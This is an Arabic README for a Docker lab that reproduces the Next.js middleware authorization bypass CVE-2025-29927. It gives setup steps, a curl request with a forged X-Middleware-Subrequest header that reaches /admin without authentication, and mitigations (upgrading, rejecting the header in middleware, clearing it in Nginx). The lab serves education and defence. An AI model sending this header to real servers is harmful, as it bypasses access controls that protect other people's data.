
معمل قائم على Docker لاستكشاف وإعادة إنتاج ثغرة تجاوز تفويض البرامج الوسيطة في Next.js CVE-2025-29927. يتضمن تطبيقًا ضعيفًا وخطوات إعادة الإنتاج واستراتيجيات التخفيف للبحث الأمني التعليمي.
يحتوي هذا المستودع على بيئة مختبر قائم على Docker لاستكشاف وتوضيح ثغرة CVE-2025-29927 في Next.js في بيئة خاضعة للتحكم.
⚠️ إخلاء مسؤولية: هذا المختبر مخصص للأغراض التعليمية والبحث الأمني فقط. لا تعرّضه للإنترنت العام أو تستخدمه في بيئة الإنتاج.
تأكد من تثبيت ما يلي:
اتبع هذه الخطوات لاستنساخ المختبر وتشغيله:
git clone https://github.com/enochgitgamefied/NextJS-CVE-2025-29927-Docker-Lab.git
cd NextJS-CVE-2025-29927-Docker-Lab
docker-compose up --build
سيؤدي ذلك إلى:
.
├── app/ # Main Next.js app code
├── public/ # Static assets (images, etc.)
├── Dockerfile # Docker setup for app
├── docker-compose.yml # Compose configuration
├── .env # Environment variables (if any)
├── README.md # You are here
⚠️ تحذير: هذه الوثائق مخصصة للأغراض التعليمية والبحث الأمني فقط. لا تنشر التطبيق القابل للاستغلال في بيئة الإنتاج.
CVE-2025-29927 هي ثغرة حرجة لتجاوز التفويض في البرمجيات الوسيطة (Middleware) الخاصة بـ Next.js. تسمح للمهاجمين بتخطي المصادقة القائمة على البرمجيات الوسيطة والوصول إلى المسارات المحمية عبر التلاعب بترويسة X-Middleware-Subrequest.
حاول الوصول إلى مسار محمي، مثل /admin، دون أي مصادقة:
curl http://localhost:3000/admin
السلوك المتوقع: يُرفض الوصول أو تتم إعادة التوجيه إلى صفحة غير مصرح بها.
السلوك القابل للاستغلال: يُمنح الوصول دون مصادقة.
X-Middleware-Subrequestأرسل طلبًا يحمل ترويسة X-Middleware-Subrequest لتجاوز فحوصات البرمجيات الوسيطة:
curl -H "X-Middleware-Subrequest: src/middleware:nowaf" http://localhost:3000/admin
النتيجة: يتم تجاوز البرمجيات الوسيطة، ويُمنح الوصول إلى المسار المحمي.
قم بتحديث Next.js إلى أحد الإصدارات التالية التي تم إصلاح الثغرة فيها:
npm install next@latest
عزّز البرمجيات الوسيطة لديك للتحقق من الطلبات بشكل صحيح ورفض أي طلب يحمل ترويسات مشبوهة:
import { NextResponse } from 'next/server';
export function middleware(request) {
const subrequestHeader = request.headers.get('x-middleware-subrequest');
if (subrequestHeader) {
return new NextResponse('Unauthorized', { status: 401 });
}
// Continue with normal processing
return NextResponse.next();
}
إذا كنت تستخدم خادمًا وكيلًا عكسيًا (مثل Nginx)، فقم بتكوينه لإزالة ترويسة X-Middleware-Subrequest من الطلبات الواردة:
location / {
proxy_pass http://localhost:3000;
proxy_set_header X-Middleware-Subrequest "";
}
يوفر ملف VULNERABILITY.md هذا دليلًا شاملًا لفهم وإعادة إنتاج ثغرة CVE-2025-29927 في بيئة خاضعة للتحكم. كما يقدم استراتيجيات تخفيف عملية لتأمين تطبيقات Next.js الخاصة بك ضد مثل هذه الاستغلالات.
للحصول على عرض توضيحي مفصل ورؤى إضافية حول هذه الثغرة، يمكنك الرجوع إلى العرض الكامل للهجوم الذي قدمه Techtalkpine في منشور المدونة، وهو مرتبط أيضًا بالعرض المباشر على يوتيوب: https://techtalkpine.com/2025/03/demo-for-cve-2025-29927-nextjs/
أخبرني إذا كنت بحاجة إلى مساعدة بشأن أي جزء محدد من هذا الإعداد أو إلى مزيد من التوضيح حول خطوات التخفيف.
لإيقاف الحاويات وإزالتها:
docker-compose down
هذا المشروع مخصص حصريًا للأغراض التعليمية والبحثية. أنت مسؤول عن استخدامه وفقًا لجميع القوانين المعمول بها والمبادئ الأخلاقية. المؤلف غير مسؤول عن أي إساءة استخدام أو ضرر ناتج.